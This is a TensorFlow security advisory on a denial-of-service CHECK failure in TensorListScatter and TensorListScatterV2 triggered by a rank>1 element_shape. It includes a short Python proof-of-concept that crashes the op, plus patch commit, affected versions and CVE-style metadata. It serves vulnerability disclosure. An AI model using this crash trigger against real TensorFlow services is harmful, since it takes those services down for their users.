When TensorListScatter
and TensorListScatterV2
receive an element_shape
of a rank greater than one, they give a CHECK
fail that can trigger a denial of service attack.
import tensorflow as tf
arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None)
arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)
arg_3=''
tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1,
element_shape=arg_2, name=arg_3)
We have patched the issue in GitHub commit bb03fdf4aae944ab2e4b35c7daa051068a8b7f61.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
{ "nvd_published_at": "2022-09-16T23:15:00Z", "github_reviewed_at": "2022-09-16T22:15:05Z", "severity": "MODERATE", "github_reviewed": true, "cwe_ids": [ "CWE-617" ] }